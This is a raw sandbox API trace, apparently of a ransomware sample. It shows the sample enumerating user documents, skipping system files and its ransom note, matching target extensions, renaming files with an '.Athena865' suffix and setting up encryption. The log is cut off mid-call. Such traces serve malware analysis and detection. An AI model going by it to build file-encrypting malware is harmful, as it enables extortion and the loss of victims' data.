(lpString1="nldLqO_alW5J.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2=".") returned 1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="..") returned 1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="windows") returned -1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="bootmgr") returned 1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="temp") returned -1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="pagefile.sys") returned -1 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="boot") returned 1 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="ids.txt") returned 1 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="ntuser.dat") returned -1 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="perflogs") returned -1 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="MSBuild") returned 1 [0101.492] lstrlenW (lpString="nldLqO_alW5J.docx") returned 17 [0101.492] lstrcpyW (in: lpString1=0x241e8d4, lpString2="nldLqO_alW5J.docx" | out: lpString1="nldLqO_alW5J.docx") returned="nldLqO_alW5J.docx" [0101.492] lstrlenW (lpString="nldLqO_alW5J.docx") returned 17 [0101.492] lstrlenW (lpString="Athena865") returned 9 [0101.492] lstrcmpiW (lpString1="lW5J.docx", lpString2="Athena865") returned 1 [0101.492] lstrlenW (lpString=".dll") returned 4 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2=".dll") returned 1 [0101.492] lstrlenW (lpString=".lnk") returned 4 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2=".lnk") returned 1 [0101.492] lstrlenW (lpString=".ini") returned 4 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2=".ini") returned 1 [0101.492] lstrlenW (lpString=".sys") returned 4 [0101.492] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2=".sys") returned 1 [0101.492] lstrlenW (lpString="nldLqO_alW5J.docx") returned 17 [0101.492] lstrlenW (lpString="bak") returned 3 [0101.492] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1 [0101.492] lstrlenW (lpString="ba_") returned 3 [0101.492] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1 [0101.492] lstrlenW (lpString="dbb") returned 3 [0101.492] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1 [0101.492] lstrlenW (lpString="vmdk") returned 4 [0101.492] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1 [0101.492] lstrlenW (lpString="rar") returned 3 [0101.492] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1 [0101.492] lstrlenW (lpString="zip") returned 3 [0101.492] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1 [0101.493] lstrlenW (lpString="tgz") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1 [0101.493] lstrlenW (lpString="vbox") returned 4 [0101.493] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1 [0101.493] lstrlenW (lpString="vdi") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1 [0101.493] lstrlenW (lpString="vhd") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1 [0101.493] lstrlenW (lpString="vhdx") returned 4 [0101.493] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1 [0101.493] lstrlenW (lpString="avhd") returned 4 [0101.493] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1 [0101.493] lstrlenW (lpString="db") returned 2 [0101.493] lstrcmpiW (lpString1="cx", lpString2="db") returned -1 [0101.493] lstrlenW (lpString="db2") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1 [0101.493] lstrlenW (lpString="db3") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1 [0101.493] lstrlenW (lpString="dbf") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1 [0101.493] lstrlenW (lpString="mdf") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1 [0101.493] lstrlenW (lpString="mdb") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1 [0101.493] lstrlenW (lpString="sql") returned 3 [0101.493] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1 [0101.493] lstrlenW (lpString="sqlite") returned 6 [0101.493] lstrcmpiW (lpString1="J.docx", lpString2="sqlite") returned -1 [0101.493] lstrlenW (lpString="sqlite3") returned 7 [0101.493] lstrcmpiW (lpString1="5J.docx", lpString2="sqlite3") returned -1 [0101.493] lstrlenW (lpString="sqlitedb") returned 8 [0101.493] lstrcmpiW (lpString1="W5J.docx", lpString2="sqlitedb") returned 1 [0101.494] lstrlenW (lpString="xml") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1 [0101.494] lstrlenW (lpString="$er") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1 [0101.494] lstrlenW (lpString="4dd") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1 [0101.494] lstrlenW (lpString="4dl") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1 [0101.494] lstrlenW (lpString="^^^") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1 [0101.494] lstrlenW (lpString="abs") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1 [0101.494] lstrlenW (lpString="abx") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1 [0101.494] lstrlenW (lpString="accdb") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1 [0101.494] lstrlenW (lpString="accdc") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1 [0101.494] lstrlenW (lpString="accde") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1 [0101.494] lstrlenW (lpString="accdr") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1 [0101.494] lstrlenW (lpString="accdt") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1 [0101.494] lstrlenW (lpString="accdw") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1 [0101.494] lstrlenW (lpString="accft") returned 5 [0101.494] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1 [0101.494] lstrlenW (lpString="adb") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0101.494] lstrlenW (lpString="adb") returned 3 [0101.494] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0101.495] lstrlenW (lpString="ade") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1 [0101.495] lstrlenW (lpString="adf") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1 [0101.495] lstrlenW (lpString="adn") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1 [0101.495] lstrlenW (lpString="adp") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1 [0101.495] lstrlenW (lpString="alf") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1 [0101.495] lstrlenW (lpString="ask") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1 [0101.495] lstrlenW (lpString="btr") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1 [0101.495] lstrlenW (lpString="cat") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1 [0101.495] lstrlenW (lpString="cdb") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1 [0101.495] lstrlenW (lpString="ckp") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1 [0101.495] lstrlenW (lpString="cma") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1 [0101.495] lstrlenW (lpString="cpd") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1 [0101.495] lstrlenW (lpString="dacpac") returned 6 [0101.495] lstrcmpiW (lpString1="J.docx", lpString2="dacpac") returned 1 [0101.495] lstrlenW (lpString="dad") returned 3 [0101.495] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1 [0101.495] lstrlenW (lpString="dadiagrams") returned 10 [0101.495] lstrcmpiW (lpString1="alW5J.docx", lpString2="dadiagrams") returned -1 [0101.495] lstrlenW (lpString="daschema") returned 8 [0101.496] lstrcmpiW (lpString1="W5J.docx", lpString2="daschema") returned 1 [0101.496] lstrlenW (lpString="db-journal") returned 10 [0101.496] lstrcmpiW (lpString1="alW5J.docx", lpString2="db-journal") returned -1 [0101.496] lstrlenW (lpString="db-shm") returned 6 [0101.496] lstrcmpiW (lpString1="J.docx", lpString2="db-shm") returned 1 [0101.496] lstrlenW (lpString="db-wal") returned 6 [0101.496] lstrcmpiW (lpString1="J.docx", lpString2="db-wal") returned 1 [0101.496] lstrlenW (lpString="dbc") returned 3 [0101.496] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1 [0101.496] lstrlenW (lpString="dbs") returned 3 [0101.496] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1 [0101.496] lstrlenW (lpString="dbt") returned 3 [0101.496] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1 [0101.496] lstrlenW (lpString="dbv") returned 3 [0101.496] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1 [0101.496] lstrlenW (lpString="dbx") returned 3 [0101.496] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1 [0101.496] lstrlenW (lpString="dcb") returned 3 [0101.496] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1 [0101.496] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\nldLqO_alW5J.docx.Athena865") returned 97 [0101.496] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\nldLqO_alW5J.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\nldlqo_alw5j.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\nldLqO_alW5J.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\nldlqo_alw5j.docx.athena865"), dwFlags=0x1) returned 1 [0101.503] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\nldLqO_alW5J.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\nldlqo_alw5j.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.504] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14466) returned 1 [0101.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.504] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.505] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.505] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.505] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b90, lpName=0x0) returned 0x154 [0101.505] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b90) returned 0x100000 [0101.506] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.507] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.507] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.507] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.508] CloseHandle (hObject=0x154) returned 1 [0101.508] CloseHandle (hObject=0x17c) returned 1 [0101.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef0ab60, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0x238083e0, ftLastAccessTime.dwHighDateTime=0x1d4c854, ftLastWriteTime.dwLowDateTime=0x238083e0, ftLastWriteTime.dwHighDateTime=0x1d4c854, nFileSizeHigh=0x0, nFileSizeLow=0x12b05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmamA.xls", cAlternateFileName="")) returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2=".") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="..") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="windows") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="bootmgr") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="temp") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="pagefile.sys") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="boot") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="ids.txt") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="ntuser.dat") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="perflogs") returned 1 [0101.509] lstrcmpiW (lpString1="xmamA.xls", lpString2="MSBuild") returned 1 [0101.509] lstrlenW (lpString="xmamA.xls") returned 9 [0101.509] lstrcpyW (in: lpString1=0x241e8d4, lpString2="xmamA.xls" | out: lpString1="xmamA.xls") returned="xmamA.xls" [0101.510] lstrlenW (lpString="xmamA.xls") returned 9 [0101.510] lstrlenW (lpString="Athena865") returned 9 [0101.510] lstrlenW (lpString=".dll") returned 4 [0101.510] lstrcmpiW (lpString1="xmamA.xls", lpString2=".dll") returned 1 [0101.510] lstrlenW (lpString=".lnk") returned 4 [0101.510] lstrcmpiW (lpString1="xmamA.xls", lpString2=".lnk") returned 1 [0101.510] lstrlenW (lpString=".ini") returned 4 [0101.510] lstrcmpiW (lpString1="xmamA.xls", lpString2=".ini") returned 1 [0101.510] lstrlenW (lpString=".sys") returned 4 [0101.510] lstrcmpiW (lpString1="xmamA.xls", lpString2=".sys") returned 1 [0101.510] lstrlenW (lpString="xmamA.xls") returned 9 [0101.510] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\xmamA.xls.Athena865") returned 89 [0101.510] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\xmamA.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\xmama.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\xmamA.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\xmama.xls.athena865"), dwFlags=0x1) returned 1 [0101.516] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\xmamA.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\xmama.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.516] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=76549) returned 1 [0101.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.517] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.517] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.517] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.518] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12e10, lpName=0x0) returned 0x154 [0101.518] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12e10) returned 0x100000 [0101.520] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.521] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.521] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.522] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.523] CloseHandle (hObject=0x154) returned 1 [0101.523] CloseHandle (hObject=0x17c) returned 1 [0101.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.525] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783a3e0, ftCreationTime.dwHighDateTime=0x1d4cd5c, ftLastAccessTime.dwLowDateTime=0xf0d3abc0, ftLastAccessTime.dwHighDateTime=0x1d4cfd3, ftLastWriteTime.dwLowDateTime=0xf0d3abc0, ftLastWriteTime.dwHighDateTime=0x1d4cfd3, nFileSizeHigh=0x0, nFileSizeLow=0xb37f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_FVlpnjgIBgAk-YD8Z-.ots", cAlternateFileName="_FVLPN~1.OTS")) returned 1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2=".") returned 1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="..") returned 1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="windows") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="bootmgr") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="temp") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="pagefile.sys") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="boot") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="ids.txt") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="ntuser.dat") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="perflogs") returned -1 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2="MSBuild") returned -1 [0101.525] lstrlenW (lpString="_FVlpnjgIBgAk-YD8Z-.ots") returned 23 [0101.525] lstrcpyW (in: lpString1=0x241e8d4, lpString2="_FVlpnjgIBgAk-YD8Z-.ots" | out: lpString1="_FVlpnjgIBgAk-YD8Z-.ots") returned="_FVlpnjgIBgAk-YD8Z-.ots" [0101.525] lstrlenW (lpString="_FVlpnjgIBgAk-YD8Z-.ots") returned 23 [0101.525] lstrlenW (lpString="Athena865") returned 9 [0101.525] lstrcmpiW (lpString1="YD8Z-.ots", lpString2="Athena865") returned 1 [0101.525] lstrlenW (lpString=".dll") returned 4 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2=".dll") returned 1 [0101.525] lstrlenW (lpString=".lnk") returned 4 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2=".lnk") returned 1 [0101.525] lstrlenW (lpString=".ini") returned 4 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2=".ini") returned 1 [0101.525] lstrlenW (lpString=".sys") returned 4 [0101.525] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots", lpString2=".sys") returned 1 [0101.525] lstrlenW (lpString="_FVlpnjgIBgAk-YD8Z-.ots") returned 23 [0101.525] lstrlenW (lpString="bak") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="bak") returned 1 [0101.526] lstrlenW (lpString="ba_") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="ba_") returned 1 [0101.526] lstrlenW (lpString="dbb") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="dbb") returned 1 [0101.526] lstrlenW (lpString="vmdk") returned 4 [0101.526] lstrcmpiW (lpString1=".ots", lpString2="vmdk") returned -1 [0101.526] lstrlenW (lpString="rar") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="rar") returned -1 [0101.526] lstrlenW (lpString="zip") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="zip") returned -1 [0101.526] lstrlenW (lpString="tgz") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="tgz") returned -1 [0101.526] lstrlenW (lpString="vbox") returned 4 [0101.526] lstrcmpiW (lpString1=".ots", lpString2="vbox") returned -1 [0101.526] lstrlenW (lpString="vdi") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="vdi") returned -1 [0101.526] lstrlenW (lpString="vhd") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="vhd") returned -1 [0101.526] lstrlenW (lpString="vhdx") returned 4 [0101.526] lstrcmpiW (lpString1=".ots", lpString2="vhdx") returned -1 [0101.526] lstrlenW (lpString="avhd") returned 4 [0101.526] lstrcmpiW (lpString1=".ots", lpString2="avhd") returned -1 [0101.526] lstrlenW (lpString="db") returned 2 [0101.526] lstrcmpiW (lpString1="ts", lpString2="db") returned 1 [0101.526] lstrlenW (lpString="db2") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="db2") returned 1 [0101.526] lstrlenW (lpString="db3") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="db3") returned 1 [0101.526] lstrlenW (lpString="dbf") returned 3 [0101.526] lstrcmpiW (lpString1="ots", lpString2="dbf") returned 1 [0101.526] lstrlenW (lpString="mdf") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="mdf") returned 1 [0101.527] lstrlenW (lpString="mdb") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="mdb") returned 1 [0101.527] lstrlenW (lpString="sql") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="sql") returned -1 [0101.527] lstrlenW (lpString="sqlite") returned 6 [0101.527] lstrcmpiW (lpString1="Z-.ots", lpString2="sqlite") returned 1 [0101.527] lstrlenW (lpString="sqlite3") returned 7 [0101.527] lstrcmpiW (lpString1="8Z-.ots", lpString2="sqlite3") returned -1 [0101.527] lstrlenW (lpString="sqlitedb") returned 8 [0101.527] lstrcmpiW (lpString1="D8Z-.ots", lpString2="sqlitedb") returned -1 [0101.527] lstrlenW (lpString="xml") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="xml") returned -1 [0101.527] lstrlenW (lpString="$er") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="$er") returned 1 [0101.527] lstrlenW (lpString="4dd") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="4dd") returned 1 [0101.527] lstrlenW (lpString="4dl") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="4dl") returned 1 [0101.527] lstrlenW (lpString="^^^") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="^^^") returned 1 [0101.527] lstrlenW (lpString="abs") returned 3 [0101.527] lstrcmpiW (lpString1="ots", lpString2="abs") returned 1 [0101.527] lstrlenW (lpString="abx") returned 3 [0101.527] lstrcmpiW 